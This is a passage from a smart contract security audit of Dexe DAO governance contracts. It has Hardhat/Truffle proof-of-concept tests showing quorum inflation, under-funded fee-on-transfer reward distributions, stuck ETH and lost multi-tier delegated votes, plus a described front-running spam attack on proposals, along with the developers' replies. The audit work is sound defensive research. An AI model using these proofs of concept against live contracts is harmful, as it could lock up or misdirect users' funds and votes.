// is GovUserKeeper::_nftInfo.totalPowerInTokens which is static
```

```
    // but used in the denominator when calculating whether
    // quorum is reached
    assert.equal(await govPool.getProposalState(proposal2Id), ProposalState.Voting);
  });
```

Run with: `npx hardhat test --grep "audit static GovUserKeeper::_nftInfo.totalPowerInTokens in quorum denominator"`

Recommended Mitigation: Change `GovUserKeeper::getTotalVoteWeight` L573 to use 0 instead of `_nftInfo.totalPowerInTokens` if `IERC721Power(nftAddress).totalPower() == 0`.

Consider whether this should be refactored such that the suggested `totalPower() == 0` check should not be done against the current `totalPower`, but against the `totalPower` saved when the proposal's nft snapshot was created which is stored in `GovUserKeeper::nftSnapshot[proposalSnapshotId]`.

Dexe: Fixed in PR172, PR173 & commit 7a0876b.

Cyrin: During the mitigations Dexe has performed significant refactoring on the power nfts; what was previously 1 contract has become 3, and the interaction between the power nft voting contracts and `GovPool` & `GovUserKeeper` has been significantly changed.

In the new implementation:

- when users use power nfts to vote personally, this uses the current power of the power nft
- when users delegate power nfts and have the delegatee vote, this caches the minimum power of the power nft
- when the power nft `totalRawPower` is calculated, this always uses the current power of power nfts
- the quorum denominator always uses `totalRawPower` which is calculated from the current power

The effect of this is that:

- users are highly penalized for delegating power nfts compared to using them to personally vote
- the quorum denominator is always based on the current nft power so will be over-inflated if users are delegating their nfts and receiving only the minimum voting power

Here is a PoC for `GovPool.test.js` that illustrates this scenario:

```
  it("audit actual power nft voting power doesn't match total nft voting power", async () => {
    let powerNftCalcStartTime = (await getCurrentBlockTime()) + 200;

    // required so we can call .toFixed() on BN returned outputs
    ERC721RawPower.numberFormat = "BigNumber";

    // ERC721RawPower::totalPower should be zero as no nfts yet created
    assert.equal((await nftPower.totalPower()).toFixed(), "0");

    // set nftPower as the voting nft
    // need to comment out check preventing updating existing
    // nft address in GovUserKeeper::setERC721Address()
    await impersonate(govPool.address);
    await userKeeper.setERC721Address(nftPower.address, wei("33000"), 33, { from: govPool.address
    ↪  });

    // create new MASTER & SLAVE accounts
    let MASTER = await accounts(10);
    let SLAVE  = await accounts(11);

    // mint MASTER 1 power nft
    let masterNftId = 1;
    await nftPower.mint(MASTER, masterNftId, "");
```

```
    // advance to the approximate time when nft power calculation starts
    await setTime(powerNftCalcStartTime);

    // verify MASTER's nft has current power > 0
    let masterNftCurrentPowerStart = (await nftPower.getNftPower(masterNftId)).toFixed();
    assert.equal(masterNftCurrentPowerStart, "894960000000000000000000000");
    // verify MASTER's nft has minumum power = 0
    let masterNftMinPowerStart = (await nftPower.getNftMinPower(masterNftId)).toFixed();
    assert.equal(masterNftMinPowerStart, "0");

    // MASTER deposits their nft then delegates it to SLAVE, another address they control
    await nftPower.approve(userKeeper.address, masterNftId, { from: MASTER });
    await govPool.deposit("0", [masterNftId], { from: MASTER });
    await govPool.delegate(SLAVE, "0", [masterNftId], { from: MASTER });

    // delegation triggers power recalculation on master's nft. Delegation caches
    // the minimum possible voting power of master's nft 0 and uses that for
    // slaves delegated voting power. But recalculation uses the current power
    // of Master's NFT > 0 to update the contract's total power, and this value
    // is used in the denominator of the quorum calculation
    assert.equal((await nftPower.totalPower()).toFixed(), "894690000000000000000000000");

    // mint THIRD some voting tokens & deposit them
    let thirdTokens = wei("1000");
    await token.mint(THIRD, thirdTokens);
    await token.approve(userKeeper.address, thirdTokens, { from: THIRD });
    await govPool.deposit(thirdTokens, [], { from: THIRD });

    // create a proposal
    let proposalId = 1;
    await govPool.createProposal("",
      [[govPool.address, 0, getBytesDelegateTreasury(THIRD, wei("1"), [])]], [], { from: THIRD });

    // MASTER uses their SLAVE account to vote on the proposal; this reverts
    // as delegation saved the minimum possible voting power of MASTER's nft 0
    // and uses 0 as the voting power
    await truffleAssert.reverts(
      govPool.vote(proposalId, true, 0, [], { from: SLAVE }),
      "Gov: low voting power"
    );

    // MASTER has the one & only power nft
    // It has current power   = 894690000000000000000000000
    // nft.Power.totalPower() = 894690000000000000000000000
    // This value will be used in the denominator of the quorum calculation
    // But in practice its actual voting power is 0 since the minumum
    // possible voting power is used for voting power in delegation, causing
    // the quorum denominator to be over-inflated
  });
```

Also due to the significant refactoring in this area, here is the updated PoC we used to verify the fix:

```
  it("audit verified: nft totalPower > 0 when all nfts lost power incorrectly makes it impossible
  ↪  to reach quorum", async () => {
    // required so we can call .toFixed() on BN returned outputs
    ERC721RawPower.numberFormat = "BigNumber";

    // time when nft power calculation starts
    let powerNftCalcStartTime = (await getCurrentBlockTime()) + 200;

    // create a new nft power token with max power same as voting token's
```

```
// total supply; since we only mint 1 nft this keeps PoC simple
let voterTokens = wei("190000000000000000000");

let newNftPower = await ERC721RawPower.new();
await newNftPower.__ERC721RawPower_init(
  "NFTPowerMock",
  "NFTPM",
  powerNftCalcStartTime,
  token.address,
  toPercent("0.01"),
  voterTokens,
  "540"
);

// ERC721Power.totalPower should be zero as no nfts yet created
assert.equal((await newNftPower.totalPower()).toFixed(), "0");

// so proposal doesn't need to go to validators
await changeInternalSettings(false);

// set newNftPower as the voting nft
// need to comment out check preventing updating existing
// nft address in GovUserKeeper::setERC721Address()
await impersonate(govPool.address);
// individualPower & supply params not used for power nfts
await userKeeper.setERC721Address(newNftPower.address, "0", 0, { from: govPool.address });

// create a new VOTER account and mint them the only power nft
let VOTER = await accounts(10);
let voterNftId = 1;
await newNftPower.mint(VOTER, voterNftId, "");

// switch to using a new ERC20 token for voting; lets us
// control exactly who has what voting power without worrying about
// what previous setups have done
// requires commenting out require statement in GovUserKeeper::setERC20Address()
let newVotingToken = await ERC20Mock.new("NEWV", "NEWV", 18);
await impersonate(govPool.address);
await userKeeper.setERC20Address(newVotingToken.address, { from: govPool.address });

// mint VOTER some tokens that when combined with their NFT are enough
// to reach quorum
await newVotingToken.mint(VOTER, voterTokens);
await newVotingToken.approve(userKeeper.address, voterTokens, { from: VOTER });
await newNftPower.approve(userKeeper.address, voterNftId, { from: VOTER });

// VOTER deposits their tokens & nft to have voting power
await govPool.deposit(voterTokens, [voterNftId], { from: VOTER });

// advance to the approximate time when nft power calculation starts
await setTime(powerNftCalcStartTime);

// verify nft power after power calculation has started
assert.equal((await newNftPower.totalPower()).toFixed(), voterTokens);

// create a proposal
let proposal1Id = 2;

await govPool.createProposal(
  "example.com",
  [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], true)]],
  [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], false)]]
```

```
    ,{from : VOTER});

    // vote on first proposal
    await govPool.vote(proposal1Id, true, voterTokens, [voterNftId], { from: VOTER });

    // advance time to allow proposal state change
    await setTime((await getCurrentBlockTime()) + 10);

    // verify that proposal has reached quorum;
    // VOTER's tokens & nft was enough to reach quorum'
    // since VOTER owns all the voting erc20s & power nfts
    //
    // fails here; proposal still in Voting state?
    assert.equal(await govPool.getProposalState(proposal1Id), ProposalState.SucceededFor);

    // advance time; since VOTER's nft doesn't have collateral deposited
    // its power will decrement to zero
    await setTime((await getCurrentBlockTime()) + 10000);

    // create 2nd proposal
    let proposal2Id = 3;

    await govPool.createProposal(
      "example.com",
      [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], true)]],
      [[govPool.address, 0, getBytesGovVote(3, wei("100"), [], false)]]
    ,{from : VOTER});

    // vote on second proposal
    await govPool.vote(proposal2Id, true, voterTokens, [voterNftId], { from: VOTER });

    // advance time to allow proposal state change
    await setTime((await getCurrentBlockTime()) + 10);

    // this used to fail as the proposal would fail to reach quorum
    // but now it works
    assert.equal(await govPool.getProposalState(proposal2Id), ProposalState.SucceededFor);
  });
```

Dexe: We are aware of this inflation thing. Unfortunately, this is probably a sacrifice we have to make. Given the business logic of power NFT, we are caught between two stools. Either loops with "current power" (which doesn't work for delegatees as potentially the whole supply could be delegated to a single user) or with minimal power and quorum inflation.

The second option seems to be better and much more elegant. Also it incentivises users to add collateral to their NFTs.

7.3 Medium Risk

7.3.1 Using `block.timestamp` for swap deadline offers no protection

Description: `block.timestamp` is used as the deadline for swaps in `PriceFeed::exchangeFromExact()` L106 & `PriceFeed::exchangeToExact()` L151.

In the PoS model, proposers know well in advance if they will propose one or consecutive blocks ahead of time. In such a scenario, a malicious validator can hold back the transaction and execute it at a more favourable block number.

Impact: This offers no protection as `block.timestamp` will have the value of whichever block the txn is inserted into, hence the txn can be held indefinitely by malicious validators.

Recommended Mitigation: Consider allowing function caller to specify swap deadline input parameter.

Dexe: Functionality removed.

7.3.2 Use `ERC721::_safeMint()` instead of `_mint()`

Description: Use `ERC721::_safeMint()` instead of `ERC721::_mint()` in `AbstractERC721Multiplier::_mint()` L89 & `ERC721Expert::mint()` L30.

Impact: Using `ERC721::_mint()` can mint ERC721 tokens to addresses which don't support ERC721 tokens, while `ERC721::_safeMint()` ensures that ERC721 tokens are only minted to addresses which support them. OpenZeppelin discourages the use of `_mint()`.

If the project team believes the usage of `_mint()` is correct in this case, a reason why should be documented in the code where it occurs.

Recommended Mitigation: Use `_safeMint()` instead of `_mint()` for ERC721.

Dexe: We won't use `_safeMint()` because:

1. It opens up potential re-entrancy vulnerabilities,
2. The decision over mints is decided by DAOs. We won't limit them in terms of who to send tokens to.

7.3.3 Using fee-on-transfer tokens to fund distribution proposals creates under-funded proposals which causes claiming rewards to revert

Description: `DistributionProposal::execute()` L67 doesn't account for Fee-On-Transfer tokens but sets `proposal.rewardAmount` to the input `amount` parameter.

Impact: Users can't claim their rewards as `DistributionProposal::claim()` will revert since the distribution proposal will be under-funded as the fee-on-transfer token transferred `amount-fee` tokens into the `DistributionProposal` contract.

Proof of Concept: First add a new file `mock/tokens/ERC20MockFeeOnTransfer.sol`:

```
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only

// adapted from https://github.com/d-xo/weird-erc20/blob/main/src/TransferFee.sol

pragma solidity >=0.6.12;

contract Math {
    // --- Math ---
    function add(uint x, uint y) internal pure returns (uint z) {
        require((z = x + y) >= x);
    }
    function sub(uint x, uint y) internal pure returns (uint z) {
        require((z = x - y) <= x);
    }
```

```
}

contract WeirdERC20 is Math {
    // --- ERC20 Data ---
    string  public   name;
    string  public   symbol;
    uint8   public   decimals;
    uint256 public   totalSupply;
    bool    internal allowMint = true;

    mapping (address => uint)                      public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;

    event Approval(address indexed src, address indexed guy, uint wad);
    event Transfer(address indexed src, address indexed dst, uint wad);

    // --- Init ---
    constructor(string memory _name,
                string memory _symbol,
                uint8 _decimalPlaces) public {
        name     = _name;
        symbol   = _symbol;
        decimals = _decimalPlaces;
    }

    // --- Token ---
    function transfer(address dst, uint wad) virtual public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }
    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
        require(balanceOf[src] >= wad, "WeirdERC20: insufficient-balance");
        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
            require(allowance[src][msg.sender] >= wad, "WeirdERC20: insufficient-allowance");
            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
        }
        balanceOf[src] = sub(balanceOf[src], wad);
        balanceOf[dst] = add(balanceOf[dst], wad);
        emit Transfer(src, dst, wad);
        return true;
    }
    function approve(address usr, uint wad) virtual public returns (bool) {
        allowance[msg.sender][usr] = wad;
        emit Approval(msg.sender, usr, wad);
        return true;
    }

    function mint(address to, uint256 _amount) public {
        require(allowMint, "WeirdERC20: minting is off");

        _mint(to, _amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "WeirdERC20: mint to the zero address");

        totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is
            ↪  checked above.
            balanceOf[account] += amount;
        }
        emit Transfer(address(0), account, amount);
```

```
    }

    function burn(address from, uint256 _amount) public {
        _burn(from, _amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "WeirdERC20: burn from the zero address");

        uint256 accountBalance = balanceOf[account];
        require(accountBalance >= amount, "WeirdERC20: burn amount exceeds balance");
        unchecked {
            balanceOf[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function toggleMint() public {
        allowMint = !allowMint;
    }
}

contract ERC20MockFeeOnTransfer is WeirdERC20 {

    uint private fee;

    // --- Init ---
    constructor(string memory _name,
                string memory _symbol,
                uint8 _decimalPlaces,
                uint _fee) WeirdERC20(_name, _symbol, _decimalPlaces) {
        fee = _fee;
    }

    // --- Token ---
    function transferFrom(address src, address dst, uint wad) override public returns (bool) {
        require(balanceOf[src] >= wad, "ERC20MockFeeOnTransfer: insufficient-balance");
        // don't worry about allowances for this mock
        //if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
        //    require(allowance[src][msg.sender] >= wad, "ERC20MockFeeOnTransfer
        ↪  insufficient-allowance");
        //    allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
        //}

        balanceOf[src] = sub(balanceOf[src], wad);
        balanceOf[dst] = add(balanceOf[dst], sub(wad, fee));
        balanceOf[address(0)] = add(balanceOf[address(0)], fee);

        emit Transfer(src, dst, sub(wad, fee));
        emit Transfer(src, address(0), fee);

        return true;
    }
}
```

Then change `test/gov/proposals/DistributionProposal.test.js` to:

- add new line L24 `const ERC20MockFeeOnTransfer = artifacts.require("ERC20MockFeeOnTransfer");`

- add new line L51 `ERC20MockFeeOnTransfer.numberFormat = "BigNumber";`
- Add this PoC under the section `describe("claim()", () => {:`

```
    it("using fee-on-transfer tokens to fund distribution proposals prevents claiming rewards", async
    ↪  () => {
      // create fee-on-transfer token with 1 wei transfer fee
      // this token also doesn't implement approvals so don't need to worry about that
      let feeOnTransferToken
        = await ERC20MockFeeOnTransfer.new("MockFeeOnTransfer", "MockFeeOnTransfer", 18, wei("1"));

      // mint reward tokens to sending address
      await feeOnTransferToken.mint(govPool.address, wei("10"));

      // use GovPool to create a proposal with 10 wei reward
      await govPool.createProposal(
        "example.com",
        [
          [feeOnTransferToken.address, 0, getBytesApprove(dp.address, wei("10"))],
          [dp.address, 0, getBytesDistributionProposal(1, feeOnTransferToken.address, wei("10"))],
        ],
        [],
        { from: SECOND }
      );

      // attempt to fully fund the proposal using the fee-on-transfer reward token
      await impersonate(govPool.address);
      await dp.execute(1, feeOnTransferToken.address, wei("10"), { from: govPool.address });

      // only 1 vote so SECOND should get the entire 10 wei reward
      await govPool.vote(1, true, 0, [1], { from: SECOND });

      // attempting to claim the reward fails as the proposal is under-funded
      // due to the fee-on-transfer token transferring less into the DistributionProposal
      // contract than the inputted amount
      await truffleAssert.reverts(dp.claim(SECOND, [1]), "Gov: insufficient funds");
    });
```

Run with `npx hardhat test --grep "fee-on-transfer"`

Recommended Mitigation: Consider one of the two options:

1. Don't support the fee-on-transfer tokens for the current version. Mention clearly on the website, official documentation that such tokens should not be used by DAO pools, both as governance tokens or sale tokens.
2. If fee-on-transfer tokens are to be supported, `DistributionProposal::execute()` should:
   - check the contract's current erc20 balance for the reward token,
   - transfer in the erc20 tokens,
   - calculate actual change in the contract's balance for the reward token and set that as the reward amount.

Other places that may require similar fixes to support Fee-On-Transfer tokens:

- `TokenSaleProposalWhitelist::lockParticipationTokens()`
- `GovUserKeeper::depositTokens()`
- `GovPool::delegateTreasury()`

Recommend the project add comprehensive unit & integration tests exercising all functionality of the system using Fee-On-Transfer tokens. Also recommend project consider whether it wants to support Rebasing tokens and

implement similar unit tests for Rebasing tokens. If the project no longer wishes to support Fee-On-Transfer tokens this should be made clear to users.

Dexe: We will not support fee-on-transfer tokens throughout the system. There are many internal transfers of tokens between contracts during the flow; supporting fee-on-transfer tokens will result in bad UX and huge commissions for the end users.

7.3.4 Distribution proposals simultaneously funded by both ETH and ERC20 tokens results in stuck eth

Description: `DistributionProposal::execute()` allows distribution proposals to be simultaneously funded by both eth & erc20 tokens in the same transaction.

Impact: When this occurs claiming rewards only releases the erc20 tokens - the eth is permanently stuck in the `DistributionProposal` contract.

Proof of Concept: Add the PoC to `test/gov/proposals/DistributionProposal.test.js` under the section `describe("claim()", () => {`:

```
    it("audit new distribution proposals funded by both eth & erc20 tokens results in stuck eth",
    ↪  async () => {
      // DistributionProposal eth balance starts at 0
      let balanceBefore = toBN(await web3.eth.getBalance(dp.address));
      assert.equal(balanceBefore, 0);

      // mint reward tokens to sending address
      await token.mint(govPool.address, wei("10"));

      // use GovPool to create a proposal with 10 wei reward
      await govPool.createProposal(
        "example.com",
        [
          [token.address, 0, getBytesApprove(dp.address, wei("10"))],
          [dp.address, 0, getBytesDistributionProposal(1, token.address, wei("10"))],
        ],
        [],
        { from: SECOND }
      );

      // fully fund the proposal using both erc20 token and eth at the same time
      await impersonate(govPool.address);
      await token.approve(dp.address, wei("10"), { from: govPool.address });
      await dp.execute(1, token.address, wei("10"), { value: wei(10), from: govPool.address });

      // only 1 vote so SECOND should get the entire 10 wei reward
      await govPool.vote(1, true, 0, [1], { from: SECOND });

      // claiming the reward releases the erc20 tokens but the eth remains stuck
      await dp.claim(SECOND, [1]);

      // DistributionProposal eth balance at 10 wei, reward eth is stuck
      let balanceAfter = toBN(await web3.eth.getBalance(dp.address));
      assert.equal(balanceAfter, wei("10"));
    });
```

Run with `npx hardhat test --grep "audit new distribution proposals funded by both eth & erc20 tokens results in stuck eth"`

Recommended Mitigation: `DistributionProposal::execute()` should revert if `token != ETHEREUM_ADDRESS && msg.value > 0`.

Similar fixes will need to be made in places where the same issue appears:

- `TokenSaleProposalBuy::buy()`
- `TokenSaleProposalWhitelist::lockParticipationTokens()`

Dexe:

Fixed in commits 5710f31 & 64bbcf5.

Cyfrin: Verified.

7.3.5 Lack of validations on critical Token Sale parameters can allow malicious DAO Pool creators to DOS claims by token sale participants

Description: When creating a tier, a DAO Pool creator can define custom token sale parameters. These parameters are verified in the `TokenSaleProposalCreate::_validateTierInitParams`. However, this function misses some crucial validations that can potentially deny token sale participants from claiming the DAO tokens they purchased.

1. `TierInitParams::saleEndTime` - An indefinitely long sale duration can deny early token sale participants from claiming within a reasonable time
2. `TierInitParams::claimLockDuration` - An indefinitely long claim lock duration can deny token sale participants from claiming
3. `VestingSettings::vestingDuration` - An indefinitely long vesting duration would mean that sale participants will have to wait forever to be fully vested
4. `VestingSettings::cliffPeriod` - An indefinitely long cliff period will prevent users from claim their vested tokens

Impact: All the above have a net effect of DOSing legitimate claims of token sale participants

Recommended Mitigation: Consider having global variables that enforce reasonable limits for such parameters. Since DAO pool creators can be malicious, the protocol needs to introduce checks that protect the naive/first-time participants.

Dexe: Fixed in commit 440b8b3 by adding validation of `claimLockDuration <= cliffPeriod` vesting period. Regarding the other suggestions we want to allow DAOs as much freedom as possible; if a DAO decides to create a token sale in 100 years, we don't want to limit them.

7.3.6 Inconsistent decimal treatment for token amounts across codebase increases security risks for users interacting with Dexe DAO contracts

Description: Inconsistencies have been identified within the codebase regarding the assumed decimal format for token amounts. Some sections of the codebase assume token amounts to be in their native token decimals, converting them to 18 decimals when needed, while other sections assume all token amounts to be in 18 decimals. This inconsistency poses potential issues

User Confusion: Users may find it challenging to determine whether they should provide token amounts in their native token decimals or in 18 decimals, leading to confusion.

Validation Errors: In certain scenarios, these inconsistencies could result in incorrect validations. For instance, comparing amounts in different decimal formats could lead to inaccurate results, creating a situation akin to comparing apples to oranges.

Incorrect Transfers: There is also the risk of incorrect token transfers due to assumptions about the decimal format. Incorrectly normalised amounts might result in unintended token transfers.

For eg. when initiating a new token sale proposal via `TokenSaleProposalCreate::createTier`, the function normalises tier parameters: `minAllocationPerUser`, `maxAllocationPerUser`, and `totalTokenProvided` from token decimals to 18 decimals.

`TokenSaleProposalCreate::createTier`

```
  function createTier(
        mapping(uint256 => ITokenSaleProposal.Tier) storage tiers,
        uint256 newTierId,
        ITokenSaleProposal.TierInitParams memory _tierInitParams
    ) external {
        _validateTierInitParams(_tierInitParams);

        uint256 saleTokenDecimals = _tierInitParams.saleTokenAddress.decimals();
        uint256 totalTokenProvided = _tierInitParams.totalTokenProvided;

  >      _tierInitParams.minAllocationPerUser = _tierInitParams.minAllocationPerUser.to18(
            saleTokenDecimals
        ); //@audit -> normalised to 18 decimals
   >     _tierInitParams.maxAllocationPerUser = _tierInitParams.maxAllocationPerUser.to18(
            saleTokenDecimals
        ); //@audit -> normalised to 18 decimals
   >     _tierInitParams.totalTokenProvided = totalTokenProvided.to18(saleTokenDecimals); //@audit ->
    ↪  normalised to 18 decimals

        ....
}
```

However, when a participant invokes `TokenSalePropsal::buy`, the sale token amount (derived from the purchase token's exchange rate) is assumed to be in 18 decimals. `TokenSaleProposalBuy::getSaleTokenAmount` function compares this amount with the tier minimum & maximum allocations per user.

`TokenSaleProposalBuy::getSaleTokenAmount`

```
  function getSaleTokenAmount(
        ITokenSaleProposal.Tier storage tier,
        address user,
        uint256 tierId,
        address tokenToBuyWith,
        uint256 amount
    ) public view returns (uint256) {
        ITokenSaleProposal.TierInitParams memory tierInitParams = tier.tierInitParams;
     require(amount > 0, "TSP: zero amount");
        require(canParticipate(tier, tierId, user), "TSP: cannot participate");
        require(
            tierInitParams.saleStartTime <= block.timestamp &&
                block.timestamp <= tierInitParams.saleEndTime,
            "TSP: cannot buy now"
        );

        uint256 exchangeRate = tier.rates[tokenToBuyWith];
>        uint256 saleTokenAmount = amount.ratio(exchangeRate, PRECISION); //@audit -> this
↪   saleTokenAmount is in  saleToken decimals -> unlike in the createTier function, this
↪   saleTokenAmount is not normalised to 18 decimals

        require(saleTokenAmount != 0, "TSP: incorrect token");

    >     require(
            tierInitParams.maxAllocationPerUser == 0 ||
                (tierInitParams.minAllocationPerUser <= saleTokenAmount &&
                    saleTokenAmount <= tierInitParams.maxAllocationPerUser),
            "TSP: wrong allocation"
        ); //@audit checks sale token amount is in valid limits
        require(
            tier.tierInfo.totalSold + saleTokenAmount <= tierInitParams.totalTokenProvided,
            "TSP: insufficient sale token amount"
        ); //@audit checks total sold is less than total provided
}
```

Other instances where token amounts are assumed to be in token decimals are:

- `TokenSaleProposalCreate::_setParticipationInfo` used to set participation amounts in token sale creation proposal
- `DistributionProposal::execute` used to execute a reward distribution proposal

Impact: Inconsistent token amount representation can trigger erroneous validations or wrong transfers.

Recommended Mitigation: When handling token amounts in your protocol, it's crucial to adopt a standardised approach for token decimals. Consider following one of below mentioned conventions while handling token decimals:

Native Token Decimals: In this convention, each token amount is assumed to be represented in its native token's decimal format. For instance, 100 in USDC represents a token amount of 100 * 10^6, whereas 100 in DAI represents a token amount of 100 * 10^18. In this approach, the protocol takes on the responsibility of ensuring correct token decimal normalisations.

Fixed 18 Decimals: Alternatively, you can assume that every token amount passed into any function is always in 18 decimals. However, it places the responsibility on the user to make the necessary token decimal normalisations.

While both options are viable, we strongly recommend option 1. It aligns with industry standards, is intuitive, and minimises the potential for user errors. Given that Web3 attracts a diverse range of users, adopting option 1 allows the protocol to proactively handle the necessary conversions, enhancing user experience and reducing the chances of misunderstandings.

Dexe: Fixed in commit 4a4c9d0.

Cyfrin: Verified. Dexe has chosen the "Fixed 18 Decimal" option where it assumes users send input token amounts in 18 decimals; this was already the default behavior in most of the code. Cyfrin continues to recommend the "Native Decimal" option where users call functions with input amounts in the token's native decimal and it is the protocol's responsibility to convert.

7.3.7 Attacker can spam create identical proposals confusing users as to which is the real proposal to vote on

Description: If an attacker wants to interfere with the voting on a particular proposal, they can spam create many identical proposals to confuse users as to which is the "real" proposal they should vote on. Users will have to decide between which `proposalId` is the real one - why should users trust one unsigned integer over another?

Impact: There are 2 possible implications of creating identical-looking fake proposals:

Vote splitting: Users will have difficulty figuring out the real proposal from fake ones. As a result, voting may be erroneously distributed to fake proposals instead of being concentrated on the single real proposal. This griefing attack can be executed by anyone simply for the cost of gas and any tokens required to create the proposal being copied.

Malicious actions: Creators can camouflage malicious proposal actions by creating similar-looking proposals that are all identical in all aspects except one single malicious proposal action. It is likely that users vote without necessary due diligence.

Proof of Concept: Consider one variant of this attack that can be 100% automated and highly effective and distributing votes from real to fake proposals. When a create proposal transaction appears in the mempool that the attacker wants to disrupt the attacker can do 1 of 3 strategies with equal probability:

1) front-run - create 2 identical fake proposals before the real one; the real one has the greatest `proposalId`
2) sandwich - create 2 identical fake proposals on either side of the real proposal; the real one has a `proposalId` value greater than the first fake but smaller then the second fake
3) back-run - create 2 identical fake proposals after the real one; the real one has the smallest `proposalId`

Recommended Mitigation: Consider implementing a 'lock-period' for proposal creators' tokens, adjustable by DAO pools. Alongside a higher minimum token requirement for proposal creation, this can deter duplicate proposals and enhance the DAO's security.

Dexe: We already have several protection mechanisms implemented. In order for users to create proposals, they have to deposit a "configurable" amount of tokens into the DAO pool. Users also can't withdraw these tokens in the same block making it impossible to create proposals using flashloans. The proposal creation costs gas which also acts as DOS protection.

7.3.8 `GovPool::revoteDelegated()` doesn't support multiple tiers of delegation resulting in delegated votes not flowing through to the primary voter

Description: When a proposal has `delegatedVotingAllowed == false` such that automatic delegation re-voting will occur in `GovPoolVote::revoteDelegated()`, delegated votes don't flow through multiple tiers of delegations down to the primary voter.

Impact: Delegated votes through multiple tiers of delegation don't get counted as they don't flow down to the primary voter.

This issue is significant when analyzing voting behavior in established DAOs. In a presentation by KarmaHQ, it was noted that over 50% of delegates across protocols never participate in proposal voting. The current system's design, despite enabling multi-tier delegation, fails to accurately track and account for such delegated tokens.

Proof of Concept: Consider 1 proposal & 3 users: FINAL_VOTER, FIRST_DELEGATOR, SECOND_DELEGATOR where every user has 100 voting power.

1) FINAL_VOTER votes 100

2) FIRST_DELEGATOR delegates their 100 votes to FINAL_VOTER. This triggers the automatic cancellation & re-voting of FINAL_VOTER such that FINAL_VOTER has 200 total votes on the proposal.
3) SECOND_DELEGATOR delegates their 100 votes to FIRST_DELEGATOR. Even though FIRST_DELEGATOR has delegated their votes to FINAL_VOTER, these newly delegated votes don't flow through into FINAL_VOTER hence FINAL_VOTER's total votes is still 200.

As a user I'd expect that if I delegated my votes to another user who had also delegated their votes, my delegated votes should also flow along with theirs to the final primary voter - otherwise my delegated votes are simply lost.

Following PoC to be put in `GovPool.test.js`:

```
describe("audit tiered revoteDelegate", () => {
    // using simple to verify amounts
    let voteAmount     = wei("100000000000000000");
    let totalVotes1Deg = wei("200000000000000000");
    let totalVotes2Deg = wei("300000000000000000");
    let proposal1Id    = 1;

    let FIRST_DELEGATOR;
    let SECOND_DELEGATOR;
    let FINAL_VOTER;

    beforeEach(async () => {
      FIRST_DELEGATOR  = await accounts(10);
      SECOND_DELEGATOR = await accounts(11);
      FINAL_VOTER      = await accounts(12);

      // mint tokens & deposit them to have voting power
      await token.mint(FIRST_DELEGATOR, voteAmount);
      await token.approve(userKeeper.address, voteAmount, { from: FIRST_DELEGATOR });
      await govPool.deposit(FIRST_DELEGATOR, voteAmount, [], { from: FIRST_DELEGATOR });
      await token.mint(SECOND_DELEGATOR, voteAmount);
      await token.approve(userKeeper.address, voteAmount, { from: SECOND_DELEGATOR });
      await govPool.deposit(SECOND_DELEGATOR, voteAmount, [], { from: SECOND_DELEGATOR });
      await token.mint(FINAL_VOTER, voteAmount);
      await token.approve(userKeeper.address, voteAmount, { from: FINAL_VOTER });
      await govPool.deposit(FINAL_VOTER, voteAmount, [], { from: FINAL_VOTER });

      // ensure that delegatedVotingAllowed == false so automatic re-voting
      // will occur for delegation
      let defaultSettings = POOL_PARAMETERS.settingsParams.proposalSettings[0];
      assert.equal(defaultSettings.delegatedVotingAllowed, false);

      // create 1 proposal
      await govPool.createProposal("proposal1", [[token.address, 0, getBytesApprove(SECOND, 1)]],
      ↪  []);

      // verify delegatedVotingAllowed == false
      let proposal1 = await getProposalByIndex(proposal1Id);
      assert.equal(proposal1.core.settings[1], false);
    });

  it("audit testing 3 layer revote delegation", async () => {

    // FINAL_VOTER votes on proposal
    await govPool.vote(proposal1Id, true, voteAmount, [], { from: FINAL_VOTER });

    // verify FINAL_VOTER's voting prior to first delegation
    assert.equal(
      (await govPool.getUserVotes(proposal1Id, FINAL_VOTER, VoteType.PersonalVote)).totalRawVoted,
      voteAmount
```

```
      );
      assert.equal(
        (await govPool.getUserVotes(proposal1Id, FINAL_VOTER,
        ↪  VoteType.MicropoolVote)).totalRawVoted,
        "0" // nothing delegated to AUDITOR yet
      );
      assert.equal(
        (await govPool.getTotalVotes(proposal1Id, FINAL_VOTER, VoteType.PersonalVote))[0].toFixed(),
        voteAmount
      );

      // FIRST_DELEGATOR delegates to FINAL_VOTER, this should cancel FINAL_VOTER's original votes
      // and re-vote for FINAL_VOTER which will include the delegated votes
      await govPool.delegate(FINAL_VOTER, voteAmount, [], { from: FIRST_DELEGATOR });

      // verify FINAL_VOTER's voting after first delegation
      assert.equal(
        (await govPool.getUserVotes(proposal1Id, FINAL_VOTER, VoteType.PersonalVote)).totalRawVoted,
        voteAmount // personal votes remain the same
      );
      assert.equal(
        (await govPool.getUserVotes(proposal1Id, FINAL_VOTER,
        ↪  VoteType.MicropoolVote)).totalRawVoted,
        voteAmount // delegated votes now included
      );
      assert.equal(
        (await govPool.getTotalVotes(proposal1Id, FINAL_VOTER, VoteType.PersonalVote))[0].toFixed(),
        totalVotes1Deg // delegated votes now included
      );

      // SECOND_DELEGATOR delegates to FIRST_DELEGATOR. These votes won't carry through into
      ↪  FINAL_VOTER
      await govPool.delegate(FIRST_DELEGATOR, voteAmount, [], { from: SECOND_DELEGATOR });

      // verify FINAL_VOTER's voting after second delegation
      assert.equal(
        (await govPool.getUserVotes(proposal1Id, FINAL_VOTER, VoteType.PersonalVote)).totalRawVoted,
        voteAmount // personal votes remain the same
      );
      assert.equal(
        (await govPool.getUserVotes(proposal1Id, FINAL_VOTER,
        ↪  VoteType.MicropoolVote)).totalRawVoted,
        voteAmount // delegated votes remain the same
      );
